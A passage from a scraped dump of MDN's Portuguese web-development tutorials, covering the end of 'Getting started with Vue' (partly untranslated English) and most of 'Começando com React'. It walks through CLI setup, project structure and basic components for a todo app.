(client-side) e gerenciamento de estado quando necessário. Além disso, o Vue adota uma abordagem \"intermediária\" das ferramentas, como roteamento do lado do cliente e gerenciamento de estado. Embora a equipe mantenedora do Vue sugira bibliotecas para essas funções, elas não são agrupadas diretamente no Vue. Isso permite que você selecione bibliotecas de gerenciamento de estado/roteamento diferentes, se elas se ajustarem melhor ao seu aplicativo.\n\nAlém de permitir a integração progressiva do Vue em seus aplicativos, o Vue também fornece uma abordagem progressiva para escrever marcações. Como a maioria dos frameworks, o Vue permite criar blocos reutilizáveis de marcação por meio de componentes. Na maioria das vezes, os componentes do Vue são gravados usando uma sintaxe de modelo HTML especial. Quando você precisar de mais controle do que a sintaxe HTML permite, poderá escrever funções JSX ou JavaScript simples para definir seus componentes.\n\n À medida que você trabalha neste tutorial, convém manter o guia do Vue e a documentação da API abertos em outras guias, para poder consultar um item se quiser obter mais informações sobre qualquer subtópico.\n Para uma boa comparação (mas potencialmente tendenciosa) entre o Vue e muitos outros frameworks, consulte Vue Docs: Comparação com outros frameworks.\n\nInstallation\n------------\n\nTo use Vue in an existing site, you can drop one of the following `<script>` elements onto a page. This allows you to start using Vue on existing sites, which is why Vue prides itself on being a progressive framework. This is a great option when migrating an existing project using a library like JQuery to Vue. With this method, you can use a lot of the core features of Vue, such as the attributes, custom components, and data-management.\n\n* Development Script (Unoptimized, but includes console warnings. Great for development\n\n```markup\n<script src=\"https://cdn.jsdelivr.net/npm/vue/dist/vue.js\"></script>\n```\n\n* Production Script (Optimized version, minimal console warnings. It is recommended that you specify a version number when including Vue on your site so that any framework updates do not break your live site without you knowing.)\n\n```markup\n<script src=\"https://cdn.jsdelivr.net/npm/vue@2\"></script>\n```\n\n\nHowever, this approach has some limitations. To build more complex apps, you'll want to use the Vue NPM package. This will let you use advanced features of Vue and take advantage of bundlers like WebPack. To make building apps with Vue easier, there is a CLI to streamline the development process. To use the npm package & the CLI you will need:\n\n1. Node.js 8.11+ installed.\n2. npm or yarn.\n\n**Nota:** If you don't have the above installed, find out more about installing npm and Node.js (en-US) here.\n\nTo install the CLI, run the following command in your terminal:\n\n\n```bash\nnpm install --global @vue/cli\n```\n\n\nOr if you'd prefer to use yarn:\n\n\n```bash\nyarn global add @vue/cli\n```\n\n\nOnce installed, to initialize a new project you can then open a terminal in the directory you want to create the project in, and run `vue create <project-name>`. The CLI will then give you a list of project configurations you can use. There are a few preset ones, and you can make your own. These options let you configure things like TypeScript, linting, vue-router, testing, and more.\n\nWe'll look at using this below.\n\nInitializing a new project\n--------------------------\n\nTo explore various features of Vue, we will be building up a sample todo list app. We'll begin by using the Vue CLI to create a new app framework to build our app into. Follow the steps below:\n\n1. In terminal, `cd` to where you'd like to create your sample app, then run `vue create moz-todo-vue`.\n2. Use the arrow keys and\n `Enter`\n to select the \"Manually select features\" option.\n3. The first menu you'll be presented with allows you to choose which features you want to include in your project. Make sure that \"Babel\" and \"Linter / Formatter\" are selected. If they are not, use the arrow keys and the space bar to toggle them on. Once they are selected, press\n `Enter`\n to proceed.\n4. Next you'll select a config for the linter / formatter. Navigate to \"Eslint with error prevention only\" and hit\n `Enter`\n again. This will help us catch common errors, but not be overly opinionated.\n5. Next you are asked to configure what kind of automated linting we want. Select \"Lint on save\". This will check for errors when we save a file inside the project. Hit\n `Enter`\n to continue.\n6. Now, you will select how we want your config files to be managed. \"In dedicated config files\" will put your config settings for things like ESLint into their own, dedicated files. The other option, \"In package.json\", will put all of your config settings into the app's `package.json` file. Select \"In dedicated config files\" and push\n `Enter`\n .\n7. Finally, you are asked if you want to save this as a preset for future options. This is entirely up to you. If you like these settings over the existing presets and want to use them again, type\n `y`\n , otherwise type\n `n`\n .\n\nThe CLI will now begin scaffolding out your project, and installing all of your dependencies.\n\nIf you've never run the Vue CLI before, you'll get one more question — you'll be asked to choose a package manager. You can use the arrow keys to select which one you prefer. The Vue CLI will default to this package manager from now on. If you need to use a different package manager after this, you can pass in a flag `--packageManager=<package-manager>`, when you run `vue create`. So if you wanted to create the `moz-todo-vue` project with npm and you'd previously chosen yarn, you'd run `vue create moz-todo-vue --packageManager=npm`.\n\n**Nota:** We've not gone over all of the options here, but you can find more information on the CLI in the Vue docs.\n\nProject structure\n-----------------\n\nIf everything went successfully, the CLI should have created a series of files and directories for your project. The most significant ones are as follows:\n\n* `.eslintrc.js`: This is a config file for eslint. You can use this to manage your linting rules.\n* `babel.config.js`: This is the config file for Babel, which transforms modern JavaScript features being used in development code into older syntax that is more cross-browser compatible in production code. You can register additional babel plugins in this file.\n* `.browserslistrc`: This is a config for Browserslist. You can use this to control which browsers your tooling optimizes for.\n* `public`: This directory contains static assets that are published, but not processed by Webpack during build (with one exception; `index.html` gets some processing).\n    + `favicon.ico`: This is the favicon for your app. Currently, it's the Vue logo.\n    + `index.html`: This is the template for your app. Your Vue app is run from this HTML page, and you can use lodash template syntax to interpolate values into it.\n     \n    **Nota:** this is not the template for managing the layout of your application — this template is for managing static HTML that sits outside of your Vue app. Editing this file typically only occurs in advanced use cases.\n* `src`: This directory contains the core of your Vue app.\n    + `main.js`: this is the entry point to your application. Currently, this file initializes your Vue application and signifies which HTML element in the `index.html` file your app should be attached to. This file is often where you register global components or additional Vue libraries.\n    + `App.vue`: this is the top-level component in your Vue app. See below for more explanation of Vue components.\n    + `components`: this directory is where you keep your components. Currently it just has one example component.\n    + `assets`: This directory is for storing static assets like CSS and images. Because these files are in the source directory, they can be processed by Webpack. This means you can use pre-processors like Sass/SCSS or Stylus.\n\n**Nota:** Depending on the options you select when creating a new project, there might be other directories present (for example, if you choose a router, you will also have a `views` directory).\n\n.vue files (single file components)\n-----------------------------------\n\nLike in many front-end frameworks, components are a central part of building apps in Vue. These components let you break a large application into discrete building blocks that can be created and managed separately, and transfer data between each other as required. These small blocks can help you reason about and test your code.\n\nWhile some frameworks encourage you to separate your template, logic, and styling code into separate files, Vue takes the opposite approach. Using Single File Components, Vue lets you group your templates, corresponding script, and CSS all together in a single file ending in `.vue`. These files are processed by a JS build tool (such as Webpack), which means you can take advantage of build-time tooling in your project. This allows you to use tools like Babel, TypeScript, SCSS and more to create more sophisticated components.\n\nAs a bonus, projects created with the Vue CLI are configured to use `.vue` files with Webpack out of the box. In fact, if you look inside the `src` folder in the project we created with the CLI, you'll see your first `.vue` file: `App.vue`.\n\nLet's explore this now.\n\n### App.vue\n\nOpen your `App.vue` file — you'll see that it has three parts: `<template>`, `<script>`, and `<style>`, which contain the component's template, scripting, and styling information. All Single File Components share this same basic structure.\n\n`<template>` contains all the markup structure and display logic of your component. Your template can contain any valid HTML, as well as some Vue-specific syntax that we'll cover later.\n\n**Nota:** By setting the `lang` attribute on the `<template>` tag, you can use Pug template syntax instead of standard HTML — `<template lang=\"pug\">`. We'll stick to standard HTML through this tutorial, but it is worth knowing that this is possible.\n\n`<script>` contains all of the non-display logic of your component. Most importantly, your `<script>` tag needs to have a default exported JS object. This object is where you locally register components, define component inputs (props), handle local state, define methods, and more. Your build step will process this object and transform it (with your template) into a Vue component with a `render()` function.\n\nIn the case of `App.vue`, our default export sets the name of the component to `app` and registers the `HelloWorld` component by adding it into the `components` property. When you register a component in this way, you're registering it locally. Locally registered components can only be used inside the components that register them, so you need to import and register them in every component file that uses them. This can be useful for bundle splitting/tree shaking since not every page in your app necessarily needs every component.\n\n\n```jsx\nimport HelloWorld from \"./components/HelloWorld.vue\";\n\nexport default {\n  name: \"app\",\n  components: {\n    //You can register components locally here.\n    HelloWorld,\n  },\n};\n```\n\n\n**Nota:** If you want to use TypeScript syntax, you need to set the `lang` attribute on the `<script>` tag to signify to the compiler that you're using TypeScript — `<script lang=\"ts\">`.\n\n`<style>` is where you write your CSS for the component. If you add a `scoped` attribute — `<style scoped>` — Vue will scope the styles to the contents of your SFC. This works similar to CSS-in-JS solutions, but allows you to just write plain CSS.\n\n**Nota:** If you select a CSS pre-processor when creating the project via the CLI, you can add a `lang` attribute to the `<style>` tag so that the contents can be processed by Webpack at build time. For example, `<style lang=\"scss\">` will allow you to use SCSS syntax in your styling information.\n\nRunning the app locally\n-----------------------\n\nThe Vue CLI comes with a built-in development server. This allows you to run your app locally so you can test it easily without needing to configure a server yourself. The CLI adds a `serve` command to the project's `package.json` file as an npm script, so you can easily run it.\n\nIn your terminal, try running `npm run serve` (or `yarn serve` if you prefer yarn). Your terminal should output something like the following:\n```\n\nINFO  Starting development server...\n98% after emitting CopyPlugin\n\n DONE  Compiled successfully in 18121ms\n\n  App running at:\n  - Local:   <http://localhost:8080/>\n  - Network: <http://192.168.1.9:8080/>\n\n  Note that the development build is not optimized.\n  To create a production build, run npm run build.\n```\n\n\nIf you navigate to the \"local\" address in a new browser tab (this should be something like `http://localhost:8080` as stated above, but may vary based on your setup), you should see your app. Right now, it should contain a welcome message, a link to the Vue documentation, links to the plugins you added when you initialized the app with your CLI, and some other useful links to the Vue community and ecosystem.\n\n![default vue app render, with vue logo, welcome message, and some documentation links](/pt-BR/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_getting_started/vue-default-app.png)\n\nMaking a couple of changes\n--------------------------\n\nLet's make our first change to the app — we'll delete the Vue logo. Open the `App.vue` file, and delete the `<img>` element from the template section:\n\n\n```markup\n<img alt=\"Vue logo\" src=\"./assets/logo.png\" />\n```\n\n\nIf your server is still running, you should see the logo removed from the rendered site almost instantly. Let's also remove the `HelloWorld` component from our template.\n\nFirst of all delete this line:\n\n\n```markup\n<HelloWorld msg=\"Welcome to Your Vue.js App\" />\n```\n\n\nIf you save your `App.vue` file now, the rendered app will throw an error because we've registered the component but are not using it. We also need to remove the lines from inside the `<script>` element that import and register the component:\n\nDelete these lines now:\n\n\n```js\nimport HelloWorld from \"./components/HelloWorld.vue\";\n```\n\n\n\n```js\ncomponents: {\n  HelloWorld;\n}\n```\n\n\nYour rendered app should no longer show an error, just a blank page, as we currently have no visible content inside `<template>`.\n\nLet's add a new `<h1>` inside `<div id=\"app\">`. Since we're going to be creating a todo list app below, let's set our header text to \"To-Do List\". Add it like so:\n\n\n```markup\n<template>\n  <div id=\"app\">\n    <h1>To-Do List</h1>\n  </div>\n</template>\n```\n\n\n`App.vue` will now show our heading, as you'd expect.\n\nSummary\n-------\n\nLet's leave this here for now. We've learnt about some of the ideas behind Vue, created some scaffolding for our example app to live inside, inspected it, and made a few preliminary changes.\n\nWith a basic introduction out of the way, we'll now go further and build up our sample app, a basic Todo list application that allows us to store a list of items, check them off when done, and filter the list by all, complete, and incomplete todos.\n\nIn the next article we'll build our first custom component, and look at some important concepts such as passing props into it and saving its data state.\n\n* Anterior  (en-US)\n* Menu: Client-side JavaScript frameworks\n* Próxima  (en-US)"}
{"title":"Começando com React - Aprendendo desenvolvimento web","text":"Começando com React\n===================\n\n* Anterior  (en-US)\n* Menu: Client-side JavaScript frameworks\n* Próxima  (en-US)\n\nNeste artigo mostraremos como dizer Olá para o React. Descobriremos um pouco sobre e os casos de usos, configurar uma React toolchain no computador localmente, e criar e usar um app simples como partida, aprendendo um pouco sobre como os processos do React funcionam.\n\n|  |  |\n| --- | --- |\n| Pré-requisitos: | \n Familiaridade com HTML,\n CSS, e linguagem\n JavaScript, conhecimento de\n terminal/linha de comandos. (en-US)\n\n React usa a sintaxe HTML-in-JavaScript com o nome JSX (JavaScript e\n XML). Familiaridade em ambos HTML e JavaScript ajudará aprender JSX, e\n identificar melhor se os erros na sua aplicação estão relacionado ao\n JavaScript ou na parte especifíca do React.\n  |\n| Objetivo: | \n Configurar um ambiente local de desenvolvimento React, criar o primeiro\n app e entender o básico de como as coisas funcionam.\n  |\n\nOlá, React\n----------\n\nSegundo seu slogan oficial, React é uma biblioteca para construção de interfaces de usuário. React não é um framework – nem mesmo é exclusivo para web. É utilizado com outras bibliotecas para renderização em certos ambientes. Por exemplo, React Native pode ser usado para construção de aplicativos móveis; React 360 pode ser usado para construir aplicações de realidade virtual; e muitas outras possibilidades.\n\nPara construir para web, desenvolvedores usam React em conjunto com ReactDOM. React e ReactDOM são frequentemente discutidos nos mesmos espaços e utlizados para resolver os mesmos problemas como outros arcabouços (frameworks). Quando referimos React como \"arcabouço\" (framework) estamos trabalhando com o termo/entendimento coloquial.\n\nA meta primária do React é minimizar os erros que ocorrem quando os desenvolvedores estão construindo UIs (User Interface). Isto é devido ao uso de componentes - autocontidos, partes lógicas de códigos que descrevem uma parte da interface do usuário. Estes componentes são adicionados para criar uma UI completa e o React concentra muito do trabalho de renderizar, proporcionando que se concentre no projeto de UI.\n\nCasos de uso\n------------\n\nDiferente de outros frameworks comentados neste módulo, React não implementa regras restritas no código como convenções ou organizações de arquivos. Isto permite que times criem convenções próprias que melhor se adequem e para adotar o React do jeito que desejar. React pode manusear um botão único, poucas partes da interface ou a interface inteira de um app.\n\nEnquanto React pode ser utilizado por pequenos pedaços de interface e não \"cai\" em uma aplicação com uma biblioteca como jQuery ou até mesmo como um framework como Vue - é mais acessível quando você constrói todo o app com React.\n\nAlém disso, muitos dos beneficios da experiencias de desenvolvimento de uma aplicação React, tais como escrever interfaces com JSX, requerem um processo de compilação. Adicionar um compilador como o Babel em um website faz o código funcionar lentamente, então os desenvolvedores geralmente configuram algumas ferramentas para fazer compilações em etapas. React, sem duvídas, tem um grande ecossistema de ferramentas, mas isso pode ser aprendido.\n\nEste artigo será focado no caso de uso do React para renderizar toda a interface do usuario de um aplicativo, usando ferramentas fornecidas pelo próprio create-react-app do Facebook.\n\nComo React usa JavaScript?\n--------------------------\n\nReact utiliza características de JavaScript moderno para muitos de seus padrões. O maior desvio do React para o JavaScript dá-se pela utilização sintaxe JSX. O JSX estende a sintaxe padrão do JavaScript hablitando-o a utilizar código similar a HTML que pode viver lado a lado ao JSX. Por exemplo:\n\n\n```js\nconst heading = <h1> Mozilla Developer Network</h1>;\n```\n\n\nA constante *heading* acima é conhecida como uma **expressão JSX.** React pode utilizá-la para renderizar a *tag* `<h1>` em nosso aplicativo.\n\nSuponha que quiséssemos conter nosso cabeçalho em uma tag `<header>`, por razões semânticas? A aproximação em JSX permite-nos aninhar nossos elementos dentro uns dos outros, do mesmo jeito que fazemos com o HTML:\n\n\n```js\nconst header = (\n  <header>\n    <h1>Mozilla Developer Network</h1>\n  </header>\n);\n```\n\n\n**Nota:** Os parenteses no recorte de código anterior não são exclusivos ao JSX e não têm nenhum efeito na sua aplicação. Eles estão lá para sinalizar para você (e seu computador) que as múltiplas linhas de código dentro do mesmo são parte da mesma expressão. Você poderia muito bem escrever a expressão do cabeçalho do seguinte jeito:\n\n\n```js\nconst header = (\n  <header>\n    <h1>Mozilla Developer Network</h1>\n  </header>\n);\n```\n\n\nEntretanto, isso é meio estranho, porquê a tag `<header>` que inicia a expressão não está alinhada na mesma posição que sua tag de fechamento correspondente.\n\nClaro, seu navegador não é capaz de ler o JSX sem alguma ajuda. Quando compilado (utilizando uma ferramenta como Babel ou Parcel), nossa expressão de cabeçalho ficaria assim:\n\n\n```js\nconst header = React.createElement(\n  \"header\",\n  null,\n  React.createElement(\"h1\", null, \"Mozilla Developer Network\"),\n);\n```\n\n\nÉ *possível* pular o processo de compilação e utilizar `React.createElement()` para escrever sua UI você mesmo. Ao fazer isso, entretanto, você perde o benefício declarativo do JSX, e seu código torna-se mais difícil de ler. Compilação é um passo adicional no processo de desenvolvimento, porém muitos desenvolvedores na comunidade do React acham que a legibilidade do JSX vale a pena. Ainda mais, ferramentas populares fazem a parte de compilar JSX-para-JavaScript parte do próprio processo de configuração. Você não vai ter que configurar a compilação você mesmo, a não ser que você queira.\n\nPor conta do JSX ser uma mistura de HTML e JavaScript, muitos desenvolvedores acham o JSX intuitivo. Outros dizem que a natureza mista torna o mesmo mais confuso. Entretanto, assim que você estiver confortável com o JSX, este irá permitir que você construa interfaces de usuários mais rapidamente e intuitivamente, e permitirá que outros melhor entendam seu código com apenas algumas olhadas.\n\nPara ler mais sobre o JSX, confira este artigo do time do React, JSX In Depth.\n\nConfigurando seu primeiro app React\n-----------------------------------\n\nExistem muitos jeitos de utilizar o React, mas nós iremos utilizar a ferramenta de interface de linha de comando (CLI), *create-react-app*, como mencionado anteriormente, que acelera o processo de desenvolvimento da aplicação em React instalando alguns pacotes e criando alguns arquivos para você, lidando com os processos de automação mencionados acima.\n\nÉ possível adicionar React á um website sem create-react-app copiando alguns elementos `<script>` em um arquivo HTML, mas o a interface de linha de comando *create-react-app* é um ponto de partida comum para aplicações em React. Utilizar-lo vai permitir que você passe mais tempo construindo seu aplicativo e menos tempo incomodando-se com configurações.\n\n### Requisitos\n\nPara começar a utilizar o *create-react-app,* você precisa ter o Node.js instalado. É recomendado que você utilize a versão com suporte de longa data (LTS). *Node* inclui o *npm* (o gerenciador de pacotes node), e o *npx* (o executador de pacotes do node).\n\nVocê também pode utilizar o gerenciador de pacotes *Yarn* como uma alternativa, mas nós iremos assumir que você está utilizando o *npm* para esta série de tutoriais. Veja Gerenciador de pacotes - básico (en-US) para mais informações sobre o *npm* ou o *Yarn*.\n\nSe você está utilizando o Windows, você vai precisar instalar alguns softwares adicionais para que você tenha as mesmas capacidades de um terminal Unix/macOS e utilizar os comandos de terminal que serão mencionados neste tutorial. **Gitbash** (que vem junto como parte do pacote de ferramentas Git para o Windows) ou o subsistema Windows para Linux (**WSL**) ambos são adequados. Veja o Curso intensivo - Linha de comando (en-US)para mais informações sobre estes e sobre comandos de terminal no geral.\n\nMantenha em mente também que React e ReactDOM produzem aplicativos que funcionam apenas em navegadores consideravelmente modernos, IE9+ (Internet Explorer 9) com o auxílio de alguns polyfills. É recomendado que você utilize um navegador moderno com o Firefox, Safari, Chrome ou Edge enquanto estiver trabalhando nestes tutoriais.\n\nVeja também os seguintes artigos para mais informações:\n\n* \"O que é NPM\" no NodeJS.org\n* \"Introdução ao NPX\" no blog npm\n* Documentação do create-react-app\n### Inicializando seu app\n\nO *create-react-app* leva apenas um argumento: o nome que você quer dar ao seu aplicativo. *create-react-app* utiliza este nome para criar uma nova pasta, e então cria os arquivos necessários para o funcionamento do seu aplicativo dentro desta pasta. Certifique-se de utilizar o comando `cd` até o local em seu computador que você deseja que seu aplicativo viva dentro de seu disco rígido, feito isso, utilize o seguinte comando em seu terminal:\n\n\n```bash\nnpx create-react-app moz-todo-react\n```\n\n\nIsto criará a pasta `moz-todo-react`, e também faz mais algumas coisas dentro desta:\n\n* Instala alguns pacotes *npm* essenciais para a funcionalidade do app.\n* Escreve scripts para iniciar e servir a aplicação.\n* Cria a estrutura de arquivos e pastas que define a arquitetura básica do aplicativo.\n* Inicializa o diretório como um *repositório git*, se você tem o *git* instalado em seu computador.\n\n**Nota:** Se você tem o gerenciador de pacotes *Yarn* instalado, *create-react-app* vai utilizá-lo por padrão em vez de utilizar o *npm*. Se você tem ambos gerenciadores de pacotes instalados e explicitamente quer utilizar o NPM, você pode adicionar a opção `--use-npm` quando você executar o *create-react-app*:\n\n\n```bash\nnpx create-react-app moz-todo-react --use-npm\n```\n\n\n*create-react-app* vai mostrar várias mensagens em seu terminal enquanto ele trabalha; isto é normal! Isso pode levar alguns minutos, agora pode ser uma boa hora para ir preparar uma xícara de chá.\n\nQuando o processo finalizar, dê um `cd` para dentro da pasta `moz-todo-react` e execute o comando `npm start`. Os scripts instalados pelo *create-react-app* vão começar a serem servidos em um servidor local, no endereço *localhost:3000,* e abrirão o aplicativo em uma nova aba em seu navegador. Seu navegador vai mostrar algo como isto:\n\n![Screenshot of Firefox MacOS, open to localhost:3000, showing the default create-react-app application](/pt-BR/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_getting_started/default-create-react-app.png)\n\n### Estrutura da aplicação\n\n*create-react-app* dá para você tudo que você precisa para desenvolver uma aplicação React. A estrutura inicial do arquivo vai ficar assim:\n```\n\nmoz-todo-react\n├── README.md\n├── node_modules\n├── package.json\n├── package-lock.json\n├── .gitignore\n├── public\n│   ├── favicon.ico\n│   ├── index.html\n│   └── manifest.json\n└── src\n    ├── App.css\n    ├── App.js\n    ├── App.test.js\n    ├── index.css\n    ├── index.js\n    ├── logo.svg\n    └── serviceWorker.js\n```\n\n\nA pasta `src` é onde nós iremos ficar a maior parte do nosso tempo, é onde o código fonte da nossa aplicação vive.\n\nA pasta `public` contém arquivos que serão lidos pelo navegador enquanto você desenvolve o aplicativo; o mais importante de todos estes arquivos é o `index.html`. O React irá injetar seu código neste arquivo para que seu navegador possa executá-lo. Existem outras marcações que ajudam o *create-react-app* a funcionar, então cuidado para não editar estas, a não ser que você saiba o que você está fazendo. Você é encorajado a mudar o texto dentro do elemento `<title>` neste arquivo, esta mudança irá refletir no título de sua aplicação. Títulos de páginas precisos são importante para acessibilidade!\n\nA pasta `public` também será publicada quando você construir e lançar uma versão de produção de seu aplicativo. Nós não cobriremos *lançamento* (deploy) de aplicações neste tutorial, entretanto você provavelmente conseguirá implementar uma solução similar para isso descrito em nosso tutorial Lançando nosso app (en-US).\n\nO arquivo `package.json` contém informações sobre o nosso projeto, dentre as quais, o nome do projeto e os pacotes instalados. O Node.js/npm usa esse aquivo para manter tudo organizado. O arquivo `package.json` não é exclusivo para aplicações em React; o *create-react-app* simplesmente encarrega-se de criá-lo. Você não precisa entender este arquivo para completar este tutorial, entretanto, se você estiver interessado em aprender mais sobre este, você pode ler O que é o arquivo 'package.json'? no NodeJS.org; nós também falamos sobre ele no nosso tutorial Básico sobre gerenciamento de pacotes. (en-US)\n\nExplorando seu primeiro componente React — `<App/>`\n---------------------------------------------------\n\nNo React, um **componente** é um módulo reutilizável que renderiza parte de nosso aplicativo. Estas partes podem ser grandes ou pequenas, mas elas geralmente são claramente definidas: elas servem um único propósito, um propósito óbvio.\n\nVamos o arquivo `src/App.js` dado que a mensagem exibida em nosso navegador está nos instigando a editá-lo. Esse arquivo contém nosso primeiro componente, `App`, e algumas outras linhas de código.\n\n\n```jsx\nimport React from \"react\";\nimport logo from \"./logo.svg\";\nimport \"./App.css\";\n\nfunction App() {\n  return (\n    <div className=\"App\">\n <header className=\"App-header\">\n <img src={logo} className=\"App-logo\" alt=\"logo\" />\n <p>\n Edit <code>src/App.js</code> and save to reload.\n </p>\n <a\n className=\"App-link\"\n href=\"https://reactjs.org\"\n target=\"\\_blank\"\n rel=\"noopener noreferrer\">\n Learn React\n </a>\n </header>\n </div>\n  );\n}\nexport default App;\n```\n\n\nO arquivo `App.js` consiste de três partes principais: algumas declarações de `import` no topo, o componente `App` no meio, e uma declaração de `export` na parte de baixo. A maioria dos componentes React segue este padrão.\n\n### Declarações de *import*\n\nAs declaração de `import` no topo de nosso arquivo `App.js` nos permitem utilizar código que foi definido em outro lugar fora de nosso arquivo. Vamos dar uma olhada nestas declarações mais de perto.\n\n\n```jsx\nimport React from \"react\";\nimport logo from \"./logo.svg\";\nimport \"./App.css\";\n```\n\n\nA primeira declaração importa a própria biblioteca React mesmo. Por conta do React transformar o JSX que nós escrevemos em declarações de `React.createElement()`, todos componentes React devem importar o módulo `React`. Se você pular este passo, sua aplicação irá resultar em um erro.\n\nA segunda declaração importa um logo de `.'/logo.svg`. Note que o `./` no começo do caminho e a extensão `.svg` no final — estes nos falam que o arquivo é local e que não é um arquivo de JavaScript. De fato, o arquivo `logo.svg` vive em nossa pasta base.\n\nNós não escrevemos um caminho ou extensão quando importando o módulo `React` — este não é um arquivo local; em vez disso, este é listado como uma dependência em nosso arquivo `package.json`. Tome cuidado com esta distinção enquanto você trabalha nesta lição!\n\nA terceira declaração importa o CSS relacionado ao nosso componente App. Note que não existe um nome de variável e também não há a diretriz `from`. Essa declaração de *import* em particular não é nativa à sintaxe de módulos do Javascript — esta vem do *Webpack*, a ferramenta que o aplicativo *create-react-app* utiliza para agrupar todos nosso arquivos de JavaScript e servi-los ao navegador.\n\n### O componente `App`\n\nDepois dos *imports,* nós temos uma função chamada `App`. Enquanto a maior parte da nossa comunidade JavaScript prefere nomes utilizando o padrão *camel-case* como `helloWorld`, os componentes React utilizam o padrão de formatação para variáveis em *pascal-case*, como `HelloWorld`, para ficar claro que um dado elemento JSX é um componente React e não apenas uma *tag* de HTML comum. Se você mudasse o nome da função `App` para `app`o seu navegador iria mostrar um erro.\n\nVamos dar uma olhada em `App` mais de perto.\n\n\n```jsx\nfunction App() {\n  return (\n    <div className=\"App\">\n <header className=\"App-header\">\n <img src={logo} className=\"App-logo\" alt=\"logo\" />\n <p>\n Edit <code>src/App.js</code> and save to reload.\n </p>\n <a\n className=\"App-link\"\n href=\"https://reactjs.org\"\n target=\"\\_blank\"\n rel=\"noopener noreferrer\">\n Learn React\n </a>\n </header>\n </div>\n  );\n}\n```\n\n\nA função `App` retrona uma expressão JSX. Essa expressão define o que, no fim, o seu navegador irá renderizar para o DOM.\n\nAlguns elementos na expressão têm atributos, que são escritos assim como no HTML, seguindo o seguinte padrão de `atributo=\"valor\"`. Na linha 3, a tag `<div>` de abertaura tem o atributo *`className`*. Isso é o mesmo que o atributo `class`no HTML, porém por conta do JSX ser Javascript, nós não podemos utilizar a palavra `class` — esta é reservada, isso quer dizer que o JavaScript já utiliza-a para um propósito específico e causaria problemas no nosso código inseri-lá aqui. Alguns outros atributos de HTML são escritos diferentes em JSX em comparação com o HTML, pela mesma razão. Nós falaremos sobre estes quando encontrarmos os mesmos.\n\nTome um momento para mudar a *tag* `<p>` na linha 6 para que esta diga \"Hello, world!\", e então salve o arquivo. Você irá notar que esta mudança é imediatamente refletida e renderiza no servidor de desenvolvimento executando em `http://localhost:3000` em seu navegador. Agora delete a *tag* `<a>` e salve; o link *\"Learn React\"* vai desaparecer.\n\nSeu componente `App` deve estar assim agora:\n\n\n```jsx\nfunction App() {\n  return (\n    <div className=\"App\">\n <header className=\"App-header\">\n <img src={logo} className=\"App-logo\" alt=\"logo\" />\n <p>Hello, World!</p>\n </header>\n </div>\n  );\n}\n```\n\n### Declarações *export*\n\nBem no final do seu arquivo `App.js`, a declaração `export default App` faz com que seu componente `App` esteja disponível para outros módulos.\n\nInterrogando o *index*\n----------------------\n\nVamos abrir `src/index.js`, porque é onde nosso componente `App` está sendo utilizado. Esse arquivo é o ponto de entrada para nosso aplicativo, e inicialmente parece-se assim:\n\n\n```jsx\nimport React from \"react\";\nimport ReactDOM from \"react-dom\";\nimport \"./index.css\";\nimport App from \"./App\";\nimport \\* as serviceWorker from \"./serviceWorker\";\n\nReactDOM.render(<App />, document.getElementById(\"root\"));\n\n// If you want your app to work offline and load faster, you can change\n// unregister() to register() below. Note this comes with some pitfalls.\n// Learn more about service workers: https://bit.ly/CRA-PWA\nserviceWorker.unregister();\n```\n\n\nAssim como em `App.js`, o arquivo começa importando todos os módulos JS (JavaScript) e outros recursos que precisa executar. `src/index.css` contém os estilos globais (CSS) que são aplicados em todo nosso aplicativo. Nós podemos também ver nosso componente `App` importado aqui; este é disponibilizado para ser importado graças à declaração de `export` no final do nosso arquivo `App.js`.\n\nA linha 7 invoca a função `ReactDOM.render()` com dois argumentos:\n\n* O componente que queremos renderizar, `<App />` neste caso.\n* O elemento do DOM que queremos que nosso componente seja renderizado dentro, neste caso é o elemento com o ID de `root`. Se você olhar dentro de `public/index.html`, você verá que existe um elemento `<div>` logo ali dentro do elemento `<body>`.\n\nTudo isso diz para o React que nós queremos renderizar nossa aplicação React como o componente `App` como a raíz do app, ou o primeiro componente.\n\n**Nota:** No JSX, componentes React e elementos HTML precisam ter barras de fechamento. Escrever apenas `<App>` ou apenas `<img>` irá causar um erro.\n\nService Workers (en-US) são pedaços interessantes de código que ajudam na perfomance da aplicação e permitem a utilização de características de aplicações Web modernas, como o funcionamento *offline*, porém estes não estão no escopo deste artigo. Você pode deletar a linha 5, como também as linhas 9 até a 12.\n\nSeu arquivo `index.js` final deve estar assim:\n\n\n```jsx\nimport React from \"react\";\nimport ReactDOM from \"react-dom\";\nimport \"./index.css\";\nimport App from \"./App\";\n\nReactDOM.render(<App />, document.getElementById(\"root\"));\n```\n\nVariáveis e props\n-----------------\n\nA seguir, nós usaremos algumas de nossas habilidades de JavaScript para ficarmos mais confortáveis editando componentes e trabalhando com dados no React. Nós falaremos sobre como variáveis são utilizadas dentro do JSX, introduziremos *props*, que são por si uma forma de passar dados para um componente (que então podem ser acessadas utilizando-se de variáveis).\n\n### Variáveis no JSX\n\nDe volta ao `App.js` vamos focar na linha 9:\n\n\n```js\n<img src={logo} className=\"App-logo\" alt=\"logo\" />\n```\n\n\nAqui, na *tag*`<img />` o atributo `src` está entre chaves ( { } ). É assim que o JSX reconhece variáveis. React irá ver `{logo}` e saberá que você está se referindo ao *import* do logo, na linha 2 do nosso aplicativo, e então buscar o arquivo logo para renderizá-lo no navegador.\n\nVamos tentar fazer uma variável própria. Antes da declaração de *return* de `App` adicione `const subject = 'React';`. Seu componente `App` deve estar assim agora:\n\n\n```jsx\nfunction App() {\n  const subject = \"React\";\n  return (\n    <div className=\"App\">\n <header className=\"App-header\">\n <img src={logo} className=\"App-logo\" alt=\"logo\" />\n <p>Hello, World!</p>\n </header>\n </div>\n  );\n}\n```\n\n\nMuda a linha 8 para usar a nossa variável `subject` em vez da palavra \"world\", desta forma:\n\n\n```jsx\nfunction App() {\n  const subject = \"React\";\n  return (\n    <div className=\"App\">\n <header className=\"App-header\">\n <img src={logo} className=\"App-logo\" alt=\"logo\" />\n <p>Hello, {subject}!</p>\n </header>\n </div>\n  );\n}\n```\n\n\nQuando você salvar, seu navegador deverá mostrar \"Hello, React!\", em vez de mostrar \"Hello, world!\"\n\nVariáveis são convenientes, mas esta que nós definimos não faz jus aos ótimos recursos do React. É aí que entram as *props*.\n\n### *props* de Componentes\n\nUma **prop** é qualquer dado passado para um componente React. *Props* são escritos dentro de invocações de componentes e utilizam a mesma sintaxe que atributos de HTML — `prop=\"valor\"`. Vamos abrir o `index.js` e dar à nossa invocação do `<App/>` nossa primeira 